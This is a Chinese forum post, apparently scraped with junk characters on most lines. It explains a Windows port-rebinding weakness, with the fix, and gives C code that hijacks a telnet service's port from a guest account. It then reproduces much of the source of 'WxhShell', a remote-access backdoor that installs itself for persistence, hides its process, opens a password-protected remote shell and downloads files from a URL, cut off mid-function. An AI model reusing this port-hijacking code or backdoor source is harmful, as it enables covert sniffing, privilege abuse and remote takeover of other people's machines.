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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @9RM9zK.q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 37.S\ gO]  
|{NYkw  
  saddr.sin_family = AF_INET; C1n>M}b  
Hd ={CFip  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !``,gExH  
FHg 9OI67  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <^jQo<kU  
mL{6L?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O;jrCB  
q{LF>Wi  
  这意味着什么?意味着可以进行如下的攻击: 2-v%`fA  
sBg.u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p%=u#QNi  
_8UU'1d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .|fH y  
=>v#4zFd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H40p86@M  
6 V=9M:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3;{kJQ  
flbd0NB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~HsJUro  
bJTBjS-7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3bH'H*2  
K Z91-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &@OT*pNna  
})Vi  
  #include ;dgp+  
  #include N S[l/0F&  
  #include >KhOz[Zg  
  #include    JjTegQN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0 /U{p,r6`  
  int main() \Uq(Zga4)  
  { ]Q)OL  
  WORD wVersionRequested; v`Oc,  
  DWORD ret; <R=Zs[9M1  
  WSADATA wsaData; M%P:n/j  
  BOOL val; g*C7 '  
  SOCKADDR_IN saddr; JU&c.p /  
  SOCKADDR_IN scaddr; vV-`jsq20H  
  int err; Pw"-S?`(  
  SOCKET s; |t#)~Oo  
  SOCKET sc; sS'm!7*(3  
  int caddsize; M-Y_ Wb3  
  HANDLE mt; R(G7m@@{  
  DWORD tid;   ],Do6 @M-  
  wVersionRequested = MAKEWORD( 2, 2 ); ^o&. fQ*  
  err = WSAStartup( wVersionRequested, &wsaData ); z_4J)?3  
  if ( err != 0 ) { u <v7;dF|s  
  printf("error!WSAStartup failed!\n"); M&9+6e'-F  
  return -1; 6q.Uhe_B  
  } PIS2Ed]  
  saddr.sin_family = AF_INET; F0Yd@Lk$_  
   '3^'B0 3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |#R7wnE[k~  
$suzW;{#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wgGl[_)  
  saddr.sin_port = htons(23); )R1<N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DT&@^$?  
  { U26}gT)  
  printf("error!socket failed!\n"); kVLS  
  return -1; @?]RBX?a  
  } gT6jYQ  
  val = TRUE; 8$Y9ORs4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bq0zxg%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f x+/C8GK  
  { z9Rp`z&`E  
  printf("error!setsockopt failed!\n"); /R wjCUf  
  return -1; oj+hQ+>  
  } 4ID5q~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %:* YO;dw'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <x>M o   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =fFP5e ['  
rf{rpe$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v0.#Sl-  
  { Q*ft7$l&  
  ret=GetLastError(); 3AN/ H  
  printf("error!bind failed!\n"); U z>+2m(  
  return -1; B \2 SH%\  
  } k~1?VQ+?M  
  listen(s,2); L) T (<  
  while(1) w NdisI  
  { ~oY^;/ j  
  caddsize = sizeof(scaddr); \z(gqkc 6  
  //接受连接请求 ?^\|-Gr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .U]-j\  
  if(sc!=INVALID_SOCKET) 1=Z0w +v{  
  { 5VU2[ \  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v mk2{f,g  
  if(mt==NULL) ye5&)d"fa(  
  { /f;~X"!  
  printf("Thread Creat Failed!\n"); ak!G8'w  
  break; I9ep`X6Y  
  } &0JI!bR(  
  } ##"HF  
  CloseHandle(mt); k~w*W X'  
  } ]~3V}z,T*  
  closesocket(s); -6B4sZpzD  
  WSACleanup(); r mg}N  
  return 0; 7J<5f)  
  }   QhJiB%M  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8 v%o,"  
  { &^Q/,H~S  
  SOCKET ss = (SOCKET)lpParam; c\AfaK^KF  
  SOCKET sc; ;u)I\3`*!  
  unsigned char buf[4096]; $*fMR,~t&  
  SOCKADDR_IN saddr; |@4' <4t  
  long num; 7hPY_W y  
  DWORD val; zy }$i?  
  DWORD ret; v`1M[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1p=]hC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xU`p|(SS-  
  saddr.sin_family = AF_INET; H9e<v4 c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2[02,FG  
  saddr.sin_port = htons(23); \bw2u!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <7jW _R@  
  { 8bld3p"^  
  printf("error!socket failed!\n"); ~b8]H|<'Y  
  return -1; P/_['7  
  } j&qub_j"xX  
  val = 100; ZPYS$Ydy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9x =Y^',5  
  { 6T`i/".  
  ret = GetLastError(); b OY |H~  
  return -1; d7bS wL  
  } i=2N;sAl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EQSQFRk;  
  { 1<aP92/N&  
  ret = GetLastError(); `r 4fm`<  
  return -1; XC#oB~K'  
  } ]JQULE)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m+z& Q  
  { "qy,*{~  
  printf("error!socket connect failed!\n"); +k R4E23:  
  closesocket(sc); [AJJSd/:  
  closesocket(ss); nQ3A~ ()  
  return -1;  &q*Aj17  
  } 42ge3>  
  while(1) ,64 -1!  
  { w7&A0M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k$:|-_(w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C\hM =%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i SQu#p@  
  num = recv(ss,buf,4096,0); B&"Q\'c  
  if(num>0) -MBxl`JU  
  send(sc,buf,num,0); [0("Q;Ec[j  
  else if(num==0) XW92gI<O  
  break; 9H1rO8k  
  num = recv(sc,buf,4096,0); +:/%3}`  
  if(num>0) < I``&>  
  send(ss,buf,num,0); as =fCuJ  
  else if(num==0) %^6F_F_jS  
  break; {?7Uj  
  } w_VP J  
  closesocket(ss); 0JujesUw(  
  closesocket(sc); Zx>=tx}  
  return 0 ; "Z+k=~(  
  } vW@=<aS Z  
<9b &<K:  
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========================================================== sV*H`N')S  
hOK8(U0  
下边附上一个代码,,WXhSHELL n~Lt\K:  
]T) 'Hb  
========================================================== _DEjF)S  
z`b,h\  
#include "stdafx.h" 7F.4Ga;  
% A0/1{(  
#include <stdio.h> ql~J8G9  
#include <string.h> %J-GKpo/S  
#include <windows.h> >y+B  
#include <winsock2.h> f* wx<  
#include <winsvc.h> fI|$K )K  
#include <urlmon.h> p5*jzQ  
4?01s-Y  
#pragma comment (lib, "Ws2_32.lib") L-&\\{ X  
#pragma comment (lib, "urlmon.lib") _,*r_D61S  
KqP#6^ _  
#define MAX_USER   100 // 最大客户端连接数  4Wp=y  
#define BUF_SOCK   200 // sock buffer ;mi%F3  
#define KEY_BUFF   255 // 输入 buffer bcz:q/f}@  
M)(DZ}  
#define REBOOT     0   // 重启 oxtay7fx  
#define SHUTDOWN   1   // 关机 F((4U"   
_)iCa3z  
#define DEF_PORT   5000 // 监听端口 An0GPhC  
yaX iE_.  
#define REG_LEN     16   // 注册表键长度 cm+P]8o%{  
#define SVC_LEN     80   // NT服务名长度 &#i"=\d  
b7ZSPXV  
// 从dll定义API ?gXp*>Kg[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1{.9uw"2S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X5w$4Kj&4l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JlJ a #  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o5)<$P43  
I( Mm?9F  
// wxhshell配置信息 K@%].:  
struct WSCFG { y>ktcuML  
  int ws_port;         // 监听端口 eszG0Wu  
  char ws_passstr[REG_LEN]; // 口令 43 :X,\~)  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^=*;X;7  
  char ws_regname[REG_LEN]; // 注册表键名 ]I6  J7A[  
  char ws_svcname[REG_LEN]; // 服务名 0tJ Z4(0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A":T1s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @PIp* [7oC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8xMX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5`_SN74o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f?)-}\[IR{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "uf%iJ:%  
u]G\H!Wk Q  
}; {\\T gs  
JsS-n'gF'  
// default Wxhshell configuration R^e'}+Z  
struct WSCFG wscfg={DEF_PORT, Kf-JcBsrT  
    "xuhuanlingzhe", o;R I*I  
    1, kSo"Ak!  
    "Wxhshell", L \iFNT}g`  
    "Wxhshell", T6kdS]4-  
            "WxhShell Service", P+HXn8@  
    "Wrsky Windows CmdShell Service", OB}Ib]  
    "Please Input Your Password: ", ll?X@S  
  1, `qwBn=  
  "http://www.wrsky.com/wxhshell.exe", ,wPr"U+7  
  "Wxhshell.exe" W(/h Vt  
    }; >KKMcTOYY  
9o!Bzy+_  
// 消息定义模块 NyuQMU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vf1^4 t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P1f[% 1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8Cv?Z.x5  
char *msg_ws_ext="\n\rExit."; v(%*b,^  
char *msg_ws_end="\n\rQuit."; !Xw5<J3L-  
char *msg_ws_boot="\n\rReboot..."; uXl3k:_n  
char *msg_ws_poff="\n\rShutdown..."; BfiD9ka-z  
char *msg_ws_down="\n\rSave to "; 9(<@O%YU  
mXs; b 2r^  
char *msg_ws_err="\n\rErr!"; pI<f) r  
char *msg_ws_ok="\n\rOK!"; 1m0c|ckb  
G  .4X'  
char ExeFile[MAX_PATH]; |! "eWTJ  
int nUser = 0; }W,[/)MO  
HANDLE handles[MAX_USER]; oe~b}:  
int OsIsNt; B#1;r-^P<  
IEvdV6{K  
SERVICE_STATUS       serviceStatus; X#;bh78&-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ilm^G}GB  
Rbv;?'O$L  
// 函数声明 ;YL i{  
int Install(void); Z;)%%V%o  
int Uninstall(void); h2J x]FJ  
int DownloadFile(char *sURL, SOCKET wsh); BING{ew  
int Boot(int flag); El"Q'(:/U  
void HideProc(void); zT-_5uZQ  
int GetOsVer(void); lU8Hd|@-  
int Wxhshell(SOCKET wsl); K!l5coM  
void TalkWithClient(void *cs); a7%]Y}$  
int CmdShell(SOCKET sock); |]*/R^1>2  
int StartFromService(void); ;i+#fQO7Q  
int StartWxhshell(LPSTR lpCmdLine); 8DaL,bi*.  
%ULr8)R;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o2\8OxcA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \xoP)Ub>  
0#^v{DC  
// 数据结构和表定义 <1M-Ro?5k  
SERVICE_TABLE_ENTRY DispatchTable[] = ;t`&n['N>  
{ U :_^#\p  
{wscfg.ws_svcname, NTServiceMain}, \1Em`nvOX  
{NULL, NULL} r" ,GC]  
}; sCHJ&>m5-  
NQ2E  
// 自我安装 D. XvG_  
int Install(void) FzC'G57Kl  
{ GWip-wI  
  char svExeFile[MAX_PATH]; 7Hu3>4<  
  HKEY key; P7/X|M z  
  strcpy(svExeFile,ExeFile); FaJ&GOM,  
M\Kx'N  
// 如果是win9x系统,修改注册表设为自启动 z2>lI9D4V  
if(!OsIsNt) { `*KHS A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hY8reQp1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VyGJ=[ ]  
  RegCloseKey(key); N ZSSg2TX#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $iz|\m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yg1  X  
  RegCloseKey(key); 7D5]G-}x.  
  return 0; H<N,%G  
    } i K? w6  
  } Pgea NK5Y  
} cYt!n5w~W  
else { pz>>)c`  
4HA<P6L  
// 如果是NT以上系统,安装为系统服务 ?FcAXA/J{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cExS7~*  
if (schSCManager!=0) *;*r 8[U}q  
{ rw #$lP  
  SC_HANDLE schService = CreateService um0N)&iY  
  ( P";'jVcR  
  schSCManager, 83q6Sv  
  wscfg.ws_svcname, s->^=dy  
  wscfg.ws_svcdisp, MFk5K  
  SERVICE_ALL_ACCESS, "9e\c;a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L;I]OC^J  
  SERVICE_AUTO_START, sLQ^F  
  SERVICE_ERROR_NORMAL, DR<9#RRD  
  svExeFile, G'A R`"F  
  NULL, 0"bcdG<}  
  NULL, ea')$gR  
  NULL, =C.$ UX  
  NULL, 7Jho}5J  
  NULL ~Jz6O U*z  
  ); [hj6N*4y  
  if (schService!=0) S^\Vgi(  
  { n6a`;0f[R  
  CloseServiceHandle(schService); HC,Se.VYS  
  CloseServiceHandle(schSCManager); [IhYh<i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ek]'km!  
  strcat(svExeFile,wscfg.ws_svcname); Jg| XH L)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { em N*l]N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dlTt _.  
  RegCloseKey(key); )hfpwdQ  
  return 0; u4 h4.NHX  
    } <W$mj04@  
  } Z?m3~L9L2  
  CloseServiceHandle(schSCManager); `+Q%oj#FF  
} j8lb~0JD  
} ?<'}r7D   
#4 pB@_  
return 1; ;;N9>M?b  
} j  e P  
g7W"  
// 自我卸载 |8tilOqI  
int Uninstall(void) `RL"AH:+  
{ j#q-^h3H  
  HKEY key; .ctw2x5W  
A2jUmK.&  
if(!OsIsNt) { q5)O%l!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ut7zVp<"  
  RegDeleteValue(key,wscfg.ws_regname); [K0(RDV)%  
  RegCloseKey(key); kL"2=7m;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YteO 6A;  
  RegDeleteValue(key,wscfg.ws_regname); 4@# `t5H  
  RegCloseKey(key); ._{H~R|  
  return 0; %Y*Ndt4  
  } wcY? rE9  
} #'9HU2  
} @i IRmQ  
else { Dwfu.ZJa  
P\rg" 3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y glmX"fLf  
if (schSCManager!=0) y/ ef>ZZ  
{ Gu\q%'I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !." D]i;  
  if (schService!=0) ;@Y;g(bw:  
  { 4u})+2W  
  if(DeleteService(schService)!=0) { n8ZZ#}Nhg  
  CloseServiceHandle(schService); q'Tf,a  
  CloseServiceHandle(schSCManager); ExL0?FemWV  
  return 0; L>4"(  
  } -4{<=y?"a  
  CloseServiceHandle(schService); mSh[}%swj  
  } &Ys<@M7E:  
  CloseServiceHandle(schSCManager); C1 GKLl~  
} A*547=M/(j  
} 4)urU7[ &)  
={@6{-tl  
return 1; D7Q$R:6|  
} [j/9neaye  
U>}w2bZ*  
// 从指定url下载文件 <k'h:KB?`  
int DownloadFile(char *sURL, SOCKET wsh) 1ztG;\  
{ 57  
  HRESULT hr; [ ~c|mOk  
char seps[]= "/"; a'yK~;+_9  
char *token; SbrecZ  
char *file; )W _v:?A9  
char myURL[MAX_PATH]; 68C%B9.b'  
char myFILE[MAX_PATH]; |"CZT#  
5(Q%XQV*P  
strcpy(myURL,sURL); y,,dCca  
  token=strtok(myURL,seps); -ifFbT+x  
  while(token!=NULL) Zw S F^  
  { U$D65B4=  
    file=token; N]=q|D  
  token=strtok(NULL,seps); 8\A#CQ5b  
  } eF-."1  
qHlQ+:n  
GetCurrentDirectory(MAX_PATH,myFILE); .~~T\rmI  
strcat(myFILE, "\\"); O23k:=Av  
strcat(myFILE, file); q Y? j#fzi  
  send(wsh,myFILE,strlen(myFILE),0); O ^duZ*b  
send(wsh,"...",3,0); e)? .r9pA;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?Z[[2\DR  
  if(hr==S_OK) j[J-f@F \Y  
return 0; E,x+JeKV  
else 0gP}zM73  
return 1; X[BIA+6  
0)e\`Bv  
} A&Usddcp  
~/iKh1 1  
// 系统电源模块 9`X\6s  
int Boot(int flag) 1FL~ndJs  
{ LxSpctiNx  
  HANDLE hToken; >7T'OC  
  TOKEN_PRIVILEGES tkp; h_3E)jc  
fW1CFRHH  
  if(OsIsNt) { ! Y~FLA_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K)|G0n*qS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U@)eTHv}6  
    tkp.PrivilegeCount = 1; i^Y+?Sx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ` *N[jm"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A>;bHf@  
if(flag==REBOOT) { :g=qz~2Xk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &>W$6>@  
  return 0; j[G  
} )e=D(qd  
else { ;rGwc$?|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cj|80$cSA  
  return 0; U- (01-  
} Kaqc74Mv  
  } Vl=l?A8  
  else { a;qryUyG  
if(flag==REBOOT) { =M [bnq*\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lc1(t:"[  
  return 0; qUW! G&R  
} 4=.89T#<  
else { m{cGK`/\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _Gi4A  
  return 0; UapC"XYJ  
} 7p16Hv7y~  
} IT7wT+  
J~ zUp(>K  
return 1; o!Ieb  
} ;yLu R  
l<LP&  
// win9x进程隐藏模块 03qQ'pq  
void HideProc(void) r Iu$pZO  
{ S\YTX%Xm}  
FF(#]vz'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `O!X((  
  if ( hKernel != NULL ) /h H  
  { lH x^D;m6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RYQR(v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t?-n*9,#S  
    FreeLibrary(hKernel); BB!THj69a6  
  } j<99FW"@e  
0$)>D==  
return; *ebSq)  
} {JO  
7cT~oV !G_  
// 获取操作系统版本 %G_B^p4  
int GetOsVer(void) nn:.nU|I  
{ Vvn2 Ep  
  OSVERSIONINFO winfo; 2~1SQ.Q<RY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ll<Xz((o  
  GetVersionEx(&winfo); R'bTN|Cq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $m%f wB  
  return 1; mAj?>;R2$2  
  else iohop(LZ  
  return 0; T@:Wp4>69  
} 9~5uaP$S  
jrlVvzZ  
// 客户端句柄模块 rb2S7k0{  
int Wxhshell(SOCKET wsl) Jr ,;>   
{ `iAF3:  
  SOCKET wsh; 0d"[l@UU0  
  struct sockaddr_in client; &0OG*}gi  
  DWORD myID; a LroD$#  
mPtZO*Fc  
  while(nUser<MAX_USER) EyD=q! ZVZ  
{ q77;ZPfs8  
  int nSize=sizeof(client); jk; clwyz/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x=hiQ>BIO0  
  if(wsh==INVALID_SOCKET) return 1; pMx*F@&nU  
I {S;L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fcRxp{*zO  
if(handles[nUser]==0) 1MP~dRZ$  
  closesocket(wsh); xd q?/^E  
else zl>nSndRE  
  nUser++; !*F1q|R  
  } W#4 7h7M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]YnD  
\ =?a/  
  return 0; J{p1|+h%  
} 6y%qVx#!  
g 2LM_1\  
// 关闭 socket #zv3b[@  
void CloseIt(SOCKET wsh) "/*\1v9  
{ nX6u(U  
closesocket(wsh); DkY4MH?  
nUser--; |"X*@s\'  
ExitThread(0); xaq-.IQAM$  
} t9kzw*U9  
';w#w<yaI  
// 客户端请求句柄 b,l$1{  
void TalkWithClient(void *cs) W+aP}rZm:  
{ 67JA=,EE  
1b `1{%  
  SOCKET wsh=(SOCKET)cs; ~drS} V  
  char pwd[SVC_LEN]; zH?!  
  char cmd[KEY_BUFF]; VuhGx:Xl  
char chr[1]; *KZYv=s,u  
int i,j; 6"L cJ%o  
U2tV4_ e  
  while (nUser < MAX_USER) { ?/wm(uL  
{NmWQyEv  
if(wscfg.ws_passstr) { T6y\|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r_)' Ps  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4x=v?g&  
  //ZeroMemory(pwd,KEY_BUFF); fa jGZyd0:  
      i=0; rKe2/4>0X  
  while(i<SVC_LEN) { fy>{QC\  
aD<A.Lhy  
  // 设置超时 v+W&9>  
  fd_set FdRead; )al]*[lY  
  struct timeval TimeOut; -]N x,{  
  FD_ZERO(&FdRead); 9tU]`f  
  FD_SET(wsh,&FdRead); ''A_[J `>  
  TimeOut.tv_sec=8; /kZebNf6H  
  TimeOut.tv_usec=0; }Sm(]y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lK?uXr7^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LiC*@W  
YiXk5B0Uh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^]>O;iB?  
  pwd=chr[0]; ?qv !w~m<  
  if(chr[0]==0xd || chr[0]==0xa) { <,3a3  
  pwd=0; BA@lk+aW  
  break; FZ{h?#2?  
  } [SjqOTon{  
  i++; j nkR}wAA  
    } !hA-_  
6+#Ydii9E  
  // 如果是非法用户,关闭 socket =m]v8`g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2prU  
} -V*R\,>  
GL>O4S<`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); afCW(zH p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yJ[0WY8<kC  
6+:iy'-  
while(1) { 2 ~dE<}  
a kkNI3  
  ZeroMemory(cmd,KEY_BUFF); |0&IXOW"XF  
`[y^ :mj  
      // 自动支持客户端 telnet标准   NJ%P/\ C  
  j=0; +C^nO=[E  
  while(j<KEY_BUFF) { _>o:R$ %}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w1F cB$  
  cmd[j]=chr[0]; +r�  
  if(chr[0]==0xa || chr[0]==0xd) { SpIv#?  
  cmd[j]=0; <v"R.<  
  break; z{%<<pZ  
  } :tc@2/>!O  
  j++; BwN0!lsF3  
    } E'f{i:O "~  
juP7P[d$qW  
  // 下载文件 =eq[:K<6  
  if(strstr(cmd,"http://")) { /`Ug9,*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WqR&&gz  
  if(DownloadFile(cmd,wsh)) PF0_8,@U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'NbHa!  
  else G~]Uk*M q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k`cfG\;r  
  } ^L,K& Jd  
  else { =bAx,,D#  
]"pVj6O  
    switch(cmd[0]) { }g@v`5  
  dUD[e,?  
  // 帮助 IY1 //9  
  case '?': { 8$] 1M,$r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j}#w )M  
    break; [DYQ"A= )d  
  } ]E{NNHK%2N  
  // 安装 _kC-dEGf!y  
  case 'i': { i9:C4',sw0  
    if(Install()) !K#qeY}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a)!o @  
    else p . %]Q*8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #]-SJWf3  
    break; ;'gWu  
    } xW+6qtG`  
  // 卸载 9V a}I-  
  case 'r': { '"52uZ{  
    if(Uninstall()) QDZWX`qw{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5frX   
    else 9v#CE!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k<z )WNBf  
    break; xPdG*OcX!  
    } \wmN  
  // 显示 wxhshell 所在路径 0RzEY!9g+  
  case 'p': { JT~4mT  
    char svExeFile[MAX_PATH]; I !- U'{  
    strcpy(svExeFile,"\n\r");  C;v.S5x  
      strcat(svExeFile,ExeFile); {% 6}'  
        send(wsh,svExeFile,strlen(svExeFile),0); GWGSd\z  
    break; U%-A?5  
    } #j;^\rSv-  
  // 重启 IM*y|UHt  
  case 'b': { g/4[N{Xf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T%+ #xl  
    if(Boot(REBOOT)) \-E^lIVF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6dHOf,zjm  
    else { z,RhYm  
    closesocket(wsh); Q(G#W+r  
    ExitThread(0); pt?bWyKG  
    } NCveSP  
    break; )',R[|<  
    } {.`vs;U  
  // 关机 @?ebuj5{e  
  case 'd': { P|`8}|}a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zg>zUe bA  
    if(Boot(SHUTDOWN)) "2!&5s,1p  
